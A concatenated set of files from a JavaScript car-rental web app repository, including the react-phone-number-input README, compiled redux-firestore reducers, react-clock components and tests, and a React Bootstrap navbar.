formatPhoneNumberIntl(value) === '+1 213 373 4253' // International format ``` <!-- The input is based on [`libphonenumber-js`](https://github.com/catamphetamine/libphonenumber-js) phone number parsing/formatting library. The [`formatPhoneNumber(value, format)`](https://github.com/catamphetamine/libphonenumber-js#formatnumbernumber-format-options) function can be used to output the `value` in `"National"` or `"International"` format. --> <!-- The phone number `<input/>` itself is implemented using [`input-format`](https://catamphetamine.github.io/input-format/) (which has an issue with some Samsung Android phones, [see the workaround](#android)). --> ## CSS The styles for this React component must be included on a page too. #### When using Webpack ```js import 'react-phone-number-input/style.css' ``` It is also recommended to set up something like a [`postcss-loader`](https://github.com/postcss/postcss-loader) with a [CSS autoprefixer](https://github.com/postcss/autoprefixer) for supporting old web browsers (e.g. `> 1%`). #### When not using Webpack Get the `style.css` file from this package, optionally process it with a [CSS autoprefixer](https://github.com/postcss/autoprefixer) for supporting old web browsers (e.g. `> 1%`), and then include the CSS file on a page. ```html <head> <link rel="stylesheet" href="/css/react-phone-number-input/style.css"/> </head> ``` <!-- ## Android There have been [reports](https://github.com/catamphetamine/react-phone-number-input/issues/75) of some Samsung Android phones not handling caret positioning properly (e.g. Samsung Galaxy S8+, Samsung Galaxy S7 Edge). The workaround is to pass `smartCaret={false}` property: ```js import PhoneInput from 'react-phone-number-input' <PhoneInput smartCaret={false} value={this.state.value} onChange={value => this.setState(value)}/> ``` `smartCaret={false}` caret is not as "smart" as the default one but still works good enough (and has no issues on Samsung Android phones). When erasing or inserting digits in the middle of a phone number this caret usually jumps to the end: this is the expected behaviour because the "smart" caret positioning has been turned off specifically to fix this Samsung Android phones issue. --> ## Localization Country names translation can be passed via the `labels` property. E.g. `labels={{ RU: 'Россия', US: 'США', ... }}`. This component comes pre-packaged with a couple of ready-made [translations](https://github.com/catamphetamine/react-phone-number-input/tree/master/locale). Submit pull requests for adding new translations. ```js import ru from 'react-phone-number-input/locale/ru' <PhoneInput ... labels={ru}/> ``` ## Validation ```js import { isValidPhoneNumber } from 'react-phone-number-input' if (value) { isValidPhoneNumber(value) // `true` or `false` } ``` This library comes pre-packaged with three flavors of metadata: * `max` — The complete metadata set, is about `140 kilobytes` in size (`libphonenumber-js/metadata.full.json`). * `min` — (default) The smallest metadata set, is about `75 kilobytes` in size (`libphonenumber-js/metadata.min.json`). Doesn't contain regular expressions for advanced phone number validation. Some simple phone number validation still works (basic length check, etc), it's just that it's loose compared to the "advanced" validation (not so strict). * `mobile` — The complete metadata set for dealing with mobile numbers _only_, is about `105 kilobytes` in size (`libphonenumber-js/metadata.mobile.json`). To use a particular metadata set import the component from the relevant sub-package: `react-phone-number-input/max`, `react-phone-number-input/min` or `react-phone-number-input/mobile`. Importing the component directly from `react-phone-number-input` results in using the `min` metadata which means loose (non-strict) phone number validation. Sometimes (rarely) not all countries are needed and in those cases the developers may want to [generate](https://github.com/catamphetamine/libphonenumber-js#customizing-metadata) their own "custom" metadata set. For those cases there's `react-phone-number-input/core` sub-package which doesn't come pre-wired with any default metadata and instead accepts the metadata as a property. I personally [wouldn't use](https://github.com/catamphetamine/libphonenumber-js#using-phone-number-validation-feature) strict phone number validation in my projects because telephone numbering plans constantly evolve and validation rules do change over time which means `isValidPhoneNumber()` function may become outdated if a website isn't re-deployed regularly. Still, some people want this feature, so it's included. ## Bug reporting If you think that the phone number parsing/formatting/validation engine malfunctions for a particular phone number then follow the [bug reporting instructions in `libphonenumber-js` repo](https://github.com/catamphetamine/libphonenumber-js#bug-reporting). ## Autocomplete Make sure to put a `<PhoneInput/>` into a `<form/>` otherwise web-browser's ["autocomplete"](https://www.w3schools.com/tags/att_input_autocomplete.asp) feature may not be working: a user will be selecting his phone number from the list but [nothing will be happening](https://github.com/catamphetamine/react-phone-number-input/issues/101). ## Custom country `<select/>` One can supply their own country `<select/>` component in case the native one doesn't fit the app. See [`countrySelectComponent`](https://github.com/catamphetamine/react-phone-number-input#customizing) property. For example, one may choose [`react-responsive-ui`](https://catamphetamine.github.io/react-responsive-ui/)'s [`<Select/>` component](https://github.com/catamphetamine/react-phone-number-input/blob/master/source/CountrySelectReactResponsiveUI.js) over the [native country `<select/>`](https://github.com/catamphetamine/react-phone-number-input/blob/master/source/CountrySelectNative.js). <!-- // Or import styles individually to reduce bundle size for a little bit: // import 'react-responsive-ui/variables.css' // import 'react-responsive-ui/styles/Expandable.css' // ... // import 'react-responsive-ui/styles/Select.css' --> ```js import 'react-phone-number-input/style.css' // Requires "CSS custom properties" support. // For Internet Explorer use PostCSS with "CSS custom properties" plugin. import 'react-responsive-ui/style.css' // A `<PhoneInput/>` with custom `countrySelectComponent`. import PhoneInput from 'react-phone-number-input/react-responsive-ui' return ( <PhoneInput placeholder="Enter phone number" value={ this.state.phone } onChange={ phone => this.setState({ phone }) } /> ) ``` ## Without country select Some people requested an exported minimal phone number input component without country `<select/>`. ```js import PhoneInput from `react-phone-number-input/basic-input` class Example extends Component { state = { value: '' } render() { // If `country` property is not passed // then "International" format is used. return ( <PhoneInput country="US" value={ this.state.value } onChange={ value => this.setState({ value }) } /> ) } } ``` ## Extensions There's nothing special about a phone number extension input: it doesn't need any formatting, it can just be a simple `<input type="number"/>`. Still, some users kept asking for a phone number extension input feature. So I added a basic phone number extension input support. It can be activated by passing `ext` property (a `React.Element`, see the demo). ```js import React, { Component } from 'react' import { Field, reduxForm } from 'redux-form' import PhoneInput from 'react-phone-number-input' class Form extends Component { render() { const ext = ( <input value={ ... } onChange={ ... } type="number" noValidate /> ) return ( <form onSubmit={ ... }> <PhoneInput value={ ... } onChange={ ... } ext={ ext } /> <button type="submit"> Submit </button> </form> ); } } ``` In a real-world application the `ext` property is most likely gonna be a "form field", e.g. an [`easy-react-form`](https://github.com/catamphetamine/basic-react-form) `<Field/>`, or a `redux-form` `<Field/>`, or a `react-final-form` `<Field/>`. Phone number extension input will appear to the right of the phone number input. One can always skip using the `ext` property and add a completely separate form field for phone number extension input instead. `{ number, ext }` object can be converted to an [RFC3966](https://www.ietf.org/rfc/rfc3966.txt) string for storing it in a database. ```js import { formatRFC3966 } from 'react-phone-number-input/libphonenumber' formatRFC3966({ number: '+12133734253', ext: '123' }) // 'tel:+12133734253;ext=123' ``` Use the accompanying `parseRFC3966()` function to convert an RFC3966 string into an object having shape `{ number, ext }`. ```js import { parseRFC3966 } from 'react-phone-number-input/libphonenumber' parseRFC3966('tel:+12133734253;ext=123') // { number: '+12133734253', ext: '123' } ``` ## Customizing The `<PhoneInput/>` component accepts some [customization properties](http://catamphetamine.github.io/react-phone-number-input/docs/styleguide/index.html#phoneinput): * `metadata` — Custom `libphonenumber-js` metadata. * `labels` — Custom translation (including country names). * `internationalIcon` — Custom "International" icon. * `inputComponent` — Custom phone number `<input/>` component. * `countrySelectComponent` — Custom country `<select/>` component. ```js import PhoneInput from 'react-phone-number-input/core' import labels from 'react-phone-number-input/locale/ru' import metadata from 'libphonenumber-js/metadata.min.json' import InternationalIcon from 'react-phone-number-input/international-icon' <PhoneInput inputComponent={...} countrySelectComponent={...} labels={labels} metadata={metadata} internationalIcon={InternationalIcon}/> ``` All these customization properties have their default values. If some of those default values are not used, and the developer wants to reduce the bundle size a bit, then they can use the `/core` export instead of the default export to import a `<PhoneInput/>` component which doesn't include any of the default customization properties. In this case all customization properties must be passed. ```js import PhoneInput from 'react-phone-number-input/core' ``` #### `countrySelectComponent` React component for the country select. See [CountrySelectNative](https://github.com/catamphetamine/react-phone-number-input/blob/master/source/CountrySelectNative.js) and [CountrySelectReactResponsiveUI](https://github.com/catamphetamine/react-phone-number-input/blob/master/source/CountrySelectReactResponsiveUI.js) for an example. Receives properties: * `name : string?` — HTML `name` attribute. * `value : string?` — The currently selected country code. * `onChange(value : string?)` — Updates the `value`. * `onFocus()` — Is used to toggle the `--focus` CSS class. * `onBlur()` — Is used to toggle the `--focus` CSS class. * `options : object[]` — The list of all selectable countries (including "International") each being an object of shape `{ value : string?, label : string, icon : React.Component }`. * `disabled : boolean?` — HTML `disabled` attribute. * `tabIndex : (number|string)?` — HTML `tabIndex` attribute. * `className : string` — CSS class name. #### `inputComponent` React component for the phone number input field. See [InputSmart](https://github.com/catamphetamine/react-phone-number-input/blob/master/source/InputSmart.js) and [InputBasic](https://github.com/catamphetamine/react-phone-number-input/blob/master/source/InputBasic.js) for an example. Receives properties: * `value : string` — The parsed phone number. E.g.: `""`, `"+"`, `"+123"`, `"123"`. * `onChange(value : string)` — Updates the `value`. * `onFocus()` — Is used to toggle the `--focus` CSS class. * `onBlur()` — Is used to toggle the `--focus` CSS class. * `country : string?` — The currently selected country. `undefined` means "International" (no country selected). * `metadata : object` — `libphonenumber-js` metadata. * All other properties should be passed through to the underlying `<input/>`. Must also implement `.focus()` method. ## Flags Since this is a React component initially I thought that including all country flags in SVG format would be the best way to go. But then it turned out that when bundled all those country flags would take an extra 3 megabytes which is obviously not an option for a website (though it might be an option for an "internal" web application, or a desktop application built with Electron, or a mobile app). So, including all country flags in SVG format in the javascript bundle wouldn't be an option, and so all country flags are included as `<img src="..."/>` instead (by default the `src` points to [`flag-icon-css`](http://flag-icon-css.lip.is/) repo GitHub pages). And when using the (default) native country `<select/>` only the selected country flag icon is displayed therefore reducing the footprint to the minimum. For the same reasons the custom `react-responsive-ui` country `<select/>` doesn't show all country flag icons when expanded: otherwise the user would have to download all those flag icons when the country `<select/>` is expanded. To use the SVG country flags (3 megabytes): ```js import PhoneInput from 'react-phone-number-input' import flags from 'react-phone-number-input/flags' <PhoneInput flags={flags} .../> ``` ## CDN One can use any npm CDN service, e.g. [unpkg.com](https://unpkg.com) or [jsdelivr.net](https://jsdelivr.net) ```html <!-- `libphonenumber-js` (is used internally by `react-phone-number-input`). --> <script src="https://unpkg.com/libphonenumber-js@1.x/bundle/libphonenumber-js.min.js"></script> <!-- Either `react-phone-number-input` with "native" country `<select/>`. --> <script src="https://unpkg.com/react-phone-number-input@2.x/bundle/react-phone-number-input-native.js"></script> <!-- or `react-phone-number-input` with "native" country `<select/>` (with "max" metadata). --> <script src="https://unpkg.com/react-phone-number-input@2.x/bundle/react-phone-number-input-native-max.js"></script> <!-- or `react-phone-number-input` with "native" country `<select/>` (with "mobile" metadata). --> <script src="https://unpkg.com/react-phone-number-input@2.x/bundle/react-phone-number-input-native-mobile.js"></script> <!-- Or `react-phone-number-input` with `react-responsive-ui` `<Select/>`. --> <script src="https://unpkg.com/react-phone-number-input@2.x/bundle/react-phone-number-input-react-responsive-ui.js"></script> <!-- Styles for the component. --> <link rel="stylesheet" href="https://unpkg.com/react-phone-number-input@2.x/bundle/style.css"/> <!-- Styles for `react-responsive-ui` `<Select/> --> <!-- (only if `react-responsive-ui` `<Select/>` is used). --> <link rel="stylesheet" href="https://unpkg.com/react-responsive-ui@^0.14.0/style.css"/> <script> var PhoneInput = window['react-phone-number-input'] </script> ``` ## Advertisement [React Responsive UI](https://catamphetamine.github.io/react-responsive-ui/) component library. ## License [MIT](LICENSE) <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = reduxFirestore; exports.getFirestore = void 0; var _constants = require("./constants"); var _createFirestoreInstance = _interopRequireDefault(require("./createFirestoreInstance")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var firestoreInstance; function reduxFirestore(firebaseInstance, otherConfig) { return function (next) { return function (reducer, initialState, middleware) { var store = next(reducer, initialState, middleware); var configs = _objectSpread({}, _constants.defaultConfig, otherConfig); firestoreInstance = (0, _createFirestoreInstance.default)(firebaseInstance.firebase_ || firebaseInstance, configs, store.dispatch); store.firestore = firestoreInstance; return store; }; }; } var getFirestore = function getFirestore() { if (!firestoreInstance) { throw new Error('Firebase instance does not yet exist. Check your compose function.'); } return firestoreInstance; }; exports.getFirestore = getFirestore;<file_sep>import React from 'react'; import PropTypes from 'prop-types'; import { isHandLength } from './shared/propTypes'; const Hand = ({ angle, name, length, oppositeLength, width, }) => ( <div className={`react-clock__hand react-clock__${name}-hand`} style={{ transform: `rotate(${angle}deg)`, }} > <div className={`react-clock__hand__body react-clock__${name}-hand__body`} style={{ width: `${width}px`, top: `${50 - (length / 2)}%`, bottom: `${50 - (oppositeLength / 2)}%`, }} /> </div> ); Hand.defaultProps = { angle: 0, length: 100, oppositeLength: 10, width: 1, }; Hand.propTypes = { angle: PropTypes.number, name: PropTypes.string.isRequired, length: isHandLength, oppositeLength: isHandLength, width: PropTypes.number, }; export default Hand; <file_sep>// Deprecated. // Use `libphonenumber-js/min` or `libphonenumber-js/max` or `libphonenumber-js/core` instead. 'use strict' exports = module.exports = {} exports.ParseError = require('./build/ParseError').default exports.parsePhoneNumber = require('./build/parsePhoneNumber').default exports.parsePhoneNumberFromString = require('./build/parsePhoneNumberFromString').default // Deprecated: remove `parse()` export in 2.0.0. // (renamed to `parseNumber()`) exports.parse = require('./build/parse').default exports.parseNumber = require('./build/parse').default // Deprecated: remove `format()` export in 2.0.0. // (renamed to `formatNumber()`) exports.format = require('./build/format').default exports.formatNumber = require('./build/format').default exports.getNumberType = require('./build/getNumberType').default exports.getExampleNumber = require('./build/getExampleNumber').default exports.isPossibleNumber = require('./build/isPossibleNumber').default exports.isValidNumber = require('./build/validate').default exports.isValidNumberForRegion = require('./build/isValidNumberForRegion').default exports.findNumbers = require('./build/findNumbers').default exports.searchNumbers = require('./build/searchNumbers').default exports.PhoneNumberMatcher = require('./build/PhoneNumberMatcher').default // Deprecated. exports.findPhoneNumbers = require('./build/findPhoneNumbers').default exports.searchPhoneNumbers = require('./build/findPhoneNumbers').searchPhoneNumbers exports.PhoneNumberSearch = require('./build/findPhoneNumbers_').PhoneNumberSearch exports.AsYouType = require('./build/AsYouType').default exports.formatIncompletePhoneNumber = require('./build/formatIncompletePhoneNumber').default exports.parseIncompletePhoneNumber = require('./build/parseIncompletePhoneNumber').default exports.parsePhoneNumberCharacter = require('./build/parseIncompletePhoneNumber').parsePhoneNumberCharacter exports.parseDigits = require('./build/parseDigits').default // Deprecated: `DIGITS` were used by `react-phone-number-input`. // Replaced by `parseDigits()`. // // Deprecated: `DIGIT_PLACEHOLDER` was used by `react-phone-number-input`. // Not used anymore. // exports.DIGITS = require('./build/parseDigits').DIGITS exports.DIGIT_PLACEHOLDER = require('./build/AsYouType').DIGIT_PLACEHOLDER exports.getCountryCallingCode = require('./build/getCountryCallingCode').default // `getPhoneCode` name is deprecated, use `getCountryCallingCode` instead. exports.getPhoneCode = exports.getCountryCallingCode exports.Metadata = require('./build/metadata').default exports.isSupportedCountry = require('./build/metadata').isSupportedCountry exports.getExtPrefix = require('./build/metadata').getExtPrefix exports.parseRFC3966 = require('./build/RFC3966').parseRFC3966 exports.formatRFC3966 = require('./build/RFC3966').formatRFC3966 // exports['default'] = ...<file_sep>import React, { Component } from 'react' import { connect } from 'react-redux' import Navbar from 'react-bootstrap/Navbar'; import Nav from 'react-bootstrap/Nav'; import Container from 'react-bootstrap/Container' import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' import { signOut } from '../../store/actions/authAction' import Logo from '../../assets/logo.png' import './index.scss' class NavBar extends Component { logOut = () => { this.props.signOut() } render() { const { auth } = this.props console.log('status', auth) return ( <div className='main-navbar'> <div className='navbar-top'> <Navbar expand="lg"> <Container> <Navbar.Brand href="/"><img src={Logo} alt='logo' /></Navbar.Brand> {/* <Navbar.Toggle cl aria-controls="basic-navbar-nav2" /> */} <Navbar.Collapse id="basic-navbar-nav2" className='justify-content-end'> <span className='info-top'><FontAwesomeIcon icon="clock" /> 09:00 — 17:00</span> <span className='info-top'><FontAwesomeIcon icon="phone" /> +381 63 140-64-25</span> </Navbar.Collapse> </Container> </Navbar> </div> <div className='navbar-bottom'> <Navbar expand="lg"> <Container> <Navbar.Toggle aria-controls="basic-navbar-nav" /> <Navbar.Collapse id="basic-navbar-nav"> <Nav className="mr-auto"> <Nav.Link href="/dashboard">Cars</Nav.Link> {auth.uid ? <Nav.Link href="/add-new-car">Add new car</Nav.Link> : null} </Nav> </Navbar.Collapse> <Navbar.Collapse className="justify-content-end"> <Nav className=""> {auth.uid ? <Nav.Link href="/profile">Profile</Nav.Link> : null} {auth.uid ? <Nav.Link href="/" onClick={this.logOut}>Logout</Nav.Link> : <Navbar.Text> <a href="/login"> Sign In</a> </Navbar.Text>} </Nav> </Navbar.Collapse> </Container> </Navbar> </div> </div > ) } } const mapStateToProps = (state) => { console.log('sssss', state) return { auth: state.firebase.auth, profile: state.firebase.profile } } const mapDispatchToProps = (dispatch) => { return { signOut: () => dispatch(signOut()) } } export default connect(mapStateToProps, mapDispatchToProps)(NavBar)<file_sep>import React from 'react'; import { mount, shallow } from 'enzyme'; import Clock from '../Clock'; /* eslint-disable comma-dangle */ describe('Clock', () => { describe('<time> element', () => { it('is rendered properly', () => { const component = shallow( <Clock /> ); const time = component.find('time'); expect(time).toHaveLength(1); }); it('has 150px size by default', () => { const component = shallow( <Clock /> ); const time = component.find('time'); expect(time.prop('style').width).toBe('150px'); expect(time.prop('style').height).toBe('150px'); }); it('has proper size when given size', () => { const size = 167; const component = shallow( <Clock size={size} /> ); const time = component.find('time'); expect(time.prop('style').width).toBe(`${size}px`); expect(time.prop('style').height).toBe(`${size}px`); }); it('has proper datetime attribute when given Date value', () => { const date = new Date(); const component = shallow( <Clock value={date} /> ); const time = component.find('time'); expect(time.prop('dateTime')).toBe(date.toISOString()); }); it('has proper datetime attribute when given string value', () => { const date = '22:17:00'; const component = shallow( <Clock value={date} /> ); const time = component.find('time'); expect(time.prop('dateTime')).toBe(date); }); }); describe('clock face', () => { it('is rendered properly', () => { const component = shallow( <Clock /> ); const face = component.find('.react-clock__face'); expect(face).toHaveLength(1); }); it('has hour and minute marks by default', () => { const component = mount( <Clock /> ); const marks = component.find('.react-clock__mark'); const hourMarks = component.find('.react-clock__hour-mark'); const minuteMarks = component.find('.react-clock__minute-mark'); expect(marks).toHaveLength(60); expect(hourMarks).toHaveLength(12); expect(minuteMarks).toHaveLength(60 - 12); }); it('has only minute marks when renderHourMarks is false', () => { const component = mount( <Clock renderHourMarks={false} /> ); const marks = component.find('.react-clock__mark'); const hourMarks = component.find('.react-clock__hour-mark'); const minuteMarks = component.find('.react-clock__minute-mark'); expect(marks).toHaveLength(60); expect(hourMarks).toHaveLength(0); expect(minuteMarks).toHaveLength(60); }); it('has only hour marks when renderMinuteMarks is false', () => { const component = mount( <Clock renderMinuteMarks={false} /> ); const marks = component.find('.react-clock__mark'); const hourMarks = component.find('.react-clock__hour-mark'); const minuteMarks = component.find('.react-clock__minute-mark'); expect(marks).toHaveLength(12); expect(hourMarks).toHaveLength(12); expect(minuteMarks).toHaveLength(0); }); it('has no marks when renderHourMarks and renderMinuteMarks are false', () => { const component = mount( <Clock renderHourMarks={false} renderMinuteMarks={false} /> ); const marks = component.find('.react-clock__mark'); expect(marks).toHaveLength(0); }); }); const fullCircle = 360; const hourAngle = fullCircle / 12; const hourMinuteAngle = hourAngle / 60; const minuteAngle = fullCircle / 60; const minuteSecondAngle = minuteAngle / 60; const secondAngle = fullCircle / 60; const getDeg = transform => parseFloat(transform.match(/rotate\(([0-9.]*)deg\)/)[1]); const getAngle = hand => getDeg(hand.prop('style').transform) % 360; describe('hour hand', () => { it('is rendered properly', () => { const component = mount( <Clock /> ); const face = component.find('.react-clock__hour-hand'); expect(face).toHaveLength(1); }); it('is properly angled', () => { const hour = 9; const minute = 20; const date = new Date(2017, 0, 1, hour, minute); const component = mount( <Clock value={date} /> ); const hand = component.find('.react-clock__hour-hand'); expect(getAngle(hand)).toBeCloseTo((hour * hourAngle) + (minute * hourMinuteAngle)); }); }); describe('minute hand', () => { it('is rendered properly', () => { const component = mount( <Clock /> ); const face = component.find('.react-clock__minute-hand'); expect(face).toHaveLength(1); }); it('is not rendered when renderMinuteHand is false', () => { const component = mount( <Clock renderMinuteHand={false} /> ); const face = component.find('.react-clock__minute-hand'); expect(face).toHaveLength(0); }); it('is properly angled', () => { const hour = 9; const minute = 20; const second = 47; const date = new Date(2017, 0, 1, hour, minute, second); const component = mount( <Clock value={date} /> ); const hand = component.find('.react-clock__minute-hand'); expect(getAngle(hand)).toBeCloseTo((minute * minuteAngle) + (second * minuteSecondAngle)); }); }); describe('second hand', () => { it('is rendered properly', () => { const component = mount( <Clock /> ); const face = component.find('.react-clock__second-hand'); expect(face).toHaveLength(1); }); it('is not rendered when renderSecondHand is false', () => { const component = mount( <Clock renderSecondHand={false} /> ); const face = component.find('.react-clock__second-hand'); expect(face).toHaveLength(0); }); it('is properly angled', () => { const hour = 9; const minute = 20; const second = 47; const date = new Date(2017, 0, 1, hour, minute, second); const component = mount( <Clock value={date} /> ); const hand = component.find('.react-clock__second-hand'); expect(getAngle(hand)).toBeCloseTo(second * secondAngle); }); }); }); <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = orderedReducer; var _assign2 = _interopRequireDefault(require("lodash/fp/assign")); var _merge2 = _interopRequireDefault(require("lodash/fp/merge")); var _isEqual2 = _interopRequireDefault(require("lodash/isEqual")); var _keyBy2 = _interopRequireDefault(require("lodash/keyBy")); var _map2 = _interopRequireDefault(require("lodash/map")); var _omit2 = _interopRequireDefault(require("lodash/omit")); var _reject2 = _interopRequireDefault(require("lodash/reject")); var _unionBy2 = _interopRequireDefault(require("lodash/unionBy")); var _get2 = _interopRequireDefault(require("lodash/get")); var _size2 = _interopRequireDefault(require("lodash/size")); var _constants = require("../constants"); var _reducers = require("../utils/reducers"); var _actionHandlers; function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } var DOCUMENT_ADDED = _constants.actionTypes.DOCUMENT_ADDED, GET_SUCCESS = _constants.actionTypes.GET_SUCCESS, LISTENER_RESPONSE = _constants.actionTypes.LISTENER_RESPONSE, CLEAR_DATA = _constants.actionTypes.CLEAR_DATA, DELETE_SUCCESS = _constants.actionTypes.DELETE_SUCCESS, DOCUMENT_REMOVED = _constants.actionTypes.DOCUMENT_REMOVED, DOCUMENT_MODIFIED = _constants.actionTypes.DOCUMENT_MODIFIED; function modifyDoc(collectionState, action) { if (!action.meta.subcollections || action.meta.storeAs) { return (0, _reducers.updateItemInArray)(collectionState, action.meta.doc, function (item) { return (0, _assign2.default)(item, action.payload.data); }); } var _pathToArr = (0, _reducers.pathToArr)(action.meta.path), _pathToArr2 = _slicedToArray(_pathToArr, 4), docId = _pathToArr2[1], subcollectionName = _pathToArr2[2], subDocId = _pathToArr2[3]; return (0, _reducers.updateItemInArray)(collectionState, docId, function (item) { return _objectSpread({}, item, _defineProperty({}, subcollectionName, (0, _reducers.updateItemInArray)((0, _get2.default)(item, subcollectionName, []), subDocId, function (subitem) { return (0, _merge2.default)(subitem, action.payload.data); }))); }); } function addDoc() { var array = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : []; var action = arguments.length > 1 ? arguments[1] : undefined; var meta = action.meta, payload = action.payload; if (!meta.subcollections || meta.storeAs) { return [].concat(_toConsumableArray(array.slice(0, payload.ordered.newIndex)), [_objectSpread({ id: meta.doc }, payload.data)], _toConsumableArray(array.slice(payload.ordered.newIndex))); } return modifyDoc(array, action); } function removeDoc(array, action) { if (!action.meta.subcollections || action.meta.storeAs) { return (0, _reject2.default)(array, { id: action.meta.doc }); } var subcollectionSetting = action.meta.subcollections[0]; if (!subcollectionSetting.doc) { return (0, _reducers.updateItemInArray)(array, action.meta.doc, function (item) { return (0, _omit2.default)(item, [subcollectionSetting.collection]); }); } return (0, _reducers.updateItemInArray)(array, action.meta.doc, function (item) { var subcollectionVal = (0, _get2.default)(item, subcollectionSetting.collection, []); if (subcollectionVal.length) { return _objectSpread({}, item, _defineProperty({}, subcollectionSetting.collection, (0, _reject2.default)(array, { id: subcollectionSetting.doc }))); } return item; }); } function writeCollection(collectionState, action) { var meta = action.meta, _action$merge = action.merge, merge = _action$merge === void 0 ? { doc: true, collections: true } : _action$merge; if (meta.storeAs) { return action.payload.ordered; } var collectionStateSize = (0, _size2.default)(collectionState); var payloadExists = !!(0, _size2.default)(action.payload.ordered); if (meta.doc && merge.doc && collectionStateSize) { return modifyDoc(collectionState, action); } if (collectionStateSize && merge.collections) { if (!payloadExists) { return []; } var existingKeys = collectionState && (0, _keyBy2.default)(collectionState, 'id'); return (0, _map2.default)(action.payload.ordered, function (newDocObj) { var existingDoc = (0, _get2.default)(existingKeys, newDocObj.id); return !!existingDoc && !(0, _isEqual2.default)(existingDoc, newDocObj) ? _objectSpread({}, existingDoc, newDocObj) : newDocObj; }); } if (meta.doc && meta.subcollections) { var subcollectionConfig = meta.subcollections[0]; if (!collectionStateSize) { return [_defineProperty({ id: meta.doc }, subcollectionConfig.collection, action.payload.ordered)]; } return (0, _reducers.updateItemInArray)(collectionState, meta.doc, function (item) { return payloadExists ? _objectSpread({}, item, _defineProperty({}, subcollectionConfig.collection, (0, _unionBy2.default)((0, _get2.default)(item, subcollectionConfig.collection, []), action.payload.ordered, 'id'))) : (0, _omit2.default)(item, [subcollectionConfig.collection]); }); } if (meta.doc && collectionStateSize) { return (0, _reducers.updateItemInArray)(collectionState, meta.doc, function (item) { return (0, _merge2.default)(item, action.payload.ordered[0]); }); } return action.payload.ordered; } var actionHandlers = (_actionHandlers = {}, _defineProperty(_actionHandlers, DOCUMENT_ADDED, addDoc), _defineProperty(_actionHandlers, DOCUMENT_MODIFIED, modifyDoc), _defineProperty(_actionHandlers, DOCUMENT_REMOVED, removeDoc), _defineProperty(_actionHandlers, DELETE_SUCCESS, removeDoc), _defineProperty(_actionHandlers, LISTENER_RESPONSE, writeCollection), _defineProperty(_actionHandlers, GET_SUCCESS, writeCollection), _actionHandlers); var orderedCollectionReducer = (0, _reducers.createReducer)(undefined, actionHandlers); function orderedReducer() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var action = arguments.length > 1 ? arguments[1] : undefined; if (!action.type) { return state; } if (action.type === CLEAR_DATA) { if (action.preserve && action.preserve.ordered) { return (0, _reducers.preserveValuesFromState)(state, action.preserve.ordered, {}); } return {}; } if (!Object.prototype.hasOwnProperty.call(actionHandlers, action.type)) { return state; } if (!action.meta || !action.meta.storeAs && !action.meta.collection) { return state; } var storeUnderKey = action.meta.storeAs || action.meta.collection; var collectionStateSlice = (0, _get2.default)(state, storeUnderKey); return _objectSpread({}, state, _defineProperty({}, storeUnderKey, orderedCollectionReducer(collectionStateSlice, action))); }<file_sep>export { default as default } from '../modules/PhoneInput' export { default as formatPhoneNumber, formatPhoneNumberIntl } from '../modules/formatPhoneNumber' export { default as isValidPhoneNumber } from '../modules/isValidPhoneNumber'
83f0ef723c0a07d83bbf1a04748f7cce94c438e9
[ "JavaScript", "TypeScript", "Markdown" ]
45
JavaScript
fixman93/rentCar
f19d20df8a3536e6083fb1a677c77f1d35cbb73a
b5aed02750476f2d04fa46fa4c1e1f0330d46122
refs/heads/main
